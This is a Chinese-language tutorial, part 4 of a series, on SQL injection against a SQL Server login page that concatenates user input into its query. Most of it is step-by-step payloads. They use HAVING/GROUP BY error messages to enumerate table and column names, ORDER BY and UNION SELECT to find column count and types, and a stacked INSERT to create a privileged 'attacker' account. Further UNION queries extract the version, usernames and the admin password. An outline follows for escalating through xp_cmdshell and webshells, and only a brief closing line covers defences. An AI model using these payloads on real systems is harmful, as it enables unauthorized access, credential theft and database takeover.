首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊深度解析 (4/10):HAVING/GROUP BY 探測表結構、UNION 掃盲、欄位型別判斷、完美 INSERT 構造

     編輯:關於SqlServer

目標:登入頁 SQL 拼接點


var sql = "SELECT * FROM Users WHERE UserName = '" + txtUser.Text + "' AND PassWord = '" + txtPass.Text + "'";

1. HAVING/GROUP BY 反推表名與欄位名 (盲注基石)

利用 `HAVING` 必須配合 `GROUP BY` 或聚合函數的特性,強制報錯洩露資訊。

步驟 1: 取得表名 + 第一欄


UserName: ' HAVING 1=1--
-- 錯誤: Column 'Users.ID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
-- → 表名 Users,第一欄 ID

步驟 2: 逐欄加入 GROUP BY 取得所有欄位


UserName: ' GROUP BY Users.ID HAVING 1=1--
-- 錯誤: Column 'Users.UserName' is invalid... → 第二欄 UserName

UserName: ' GROUP BY Users.ID, Users.UserName HAVING 1=1--
-- 錯誤: Column 'Users.PassWord' is invalid... → 第三欄 PassWord

UserName: ' GROUP BY Users.ID, Users.UserName, Users.PassWord HAVING 1=1--
-- 錯誤: Column 'Users.Privs' is invalid... → 第四欄 Privs

UserName: ' GROUP BY Users.ID, Users.UserName, Users.PassWord, Users.Privs HAVING 1=1--
-- 無錯誤 → 所有欄位枚舉完畢,順序: ID, UserName, PassWord, Privs

2. UNION 掃盲:列數、型別、資料竊取

前提:已知欄位數 (4) 與順序。

確定列數 (ORDER BY 法)


' ORDER BY 1--  -- 成功
' ORDER BY 2--  -- 成功
' ORDER BY 3--  -- 成功
' ORDER BY 4--  -- 成功
' ORDER BY 5--  -- 錯誤 → 列數 = 4

判斷欄位型別 (UNION SELECT + 型別轉換錯誤)


' UNION SELECT SUM(UserName), 1, 1, 1 FROM Users--
-- 錯誤: cannot take a varchar data type → 第 1 欄 (ID) 為數值型,但 UserName 為 VARCHAR
-- 實際測試各欄位:
' UNION SELECT SUM(ID), 1, 1, 1 FROM Users--       -- 成功 → ID 為數值
' UNION SELECT SUM(UserName), 1, 1, 1 FROM Users-- -- 失敗 → UserName 為字串
' UNION SELECT SUM(PassWord), 1, 1, 1 FROM Users-- -- 失敗 → PassWord 為字串
' UNION SELECT SUM(Privs), 1, 1, 1 FROM Users--    -- 成功 → Privs 為數值

構造完美 INSERT (已知結構 + 型別)


'; INSERT INTO Users VALUES (666, 'attacker', 'foobar', 0xFFFF)--
-- 666=INT, 'attacker'=VARCHAR, 'foobar'=VARCHAR, 0xFFFF=INT (Privs)

3. 進階資料竊取:@@VERSION、帳密枚舉


-- 讀取版本
' UNION SELECT @@VERSION, 1, 1, 1--

-- 讀取第一個用戶名
' UNION SELECT MIN(UserName), 1, 1, 1 FROM Users WHERE UserName > 'a'--

-- 遞增枚舉
' UNION SELECT MIN(UserName), 1, 1, 1 FROM Users WHERE UserName > 'admin'--

-- 讀取密碼
' UNION SELECT PassWord, 1, 1, 1 FROM Users WHERE UserName = 'admin'--

總結:從零到完全控制的標準流程

  1. **判斷注入點** — 單引號報錯 / `AND 1=1` / `AND 1=2` 差異。
  2. **枚舉結構** — `HAVING/GROUP BY` 取得表名、欄位名、順序;`ORDER BY` 確認列數。
  3. **判斷型別** — `UNION SELECT SUM(col)` / 型別轉換錯誤。
  4. **構造 UNION** — 型別對齊、列數一致,讀取任意表任意欄位。
  5. **竊取核心資料** — `@@VERSION`、系統表、業務敏感表。
  6. **提權/持久化** — `xp_cmdshell`、啟用 `sa`、建立連結伺服器、植入 DLL/Webshell。

**核心防禦**:參數化查詢 (阻斷步驟 1 之後所有步驟) + 錯誤不回顯 (阻斷步驟 2-5 資訊洩露) + 最小權限 (阻斷步驟 6)。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved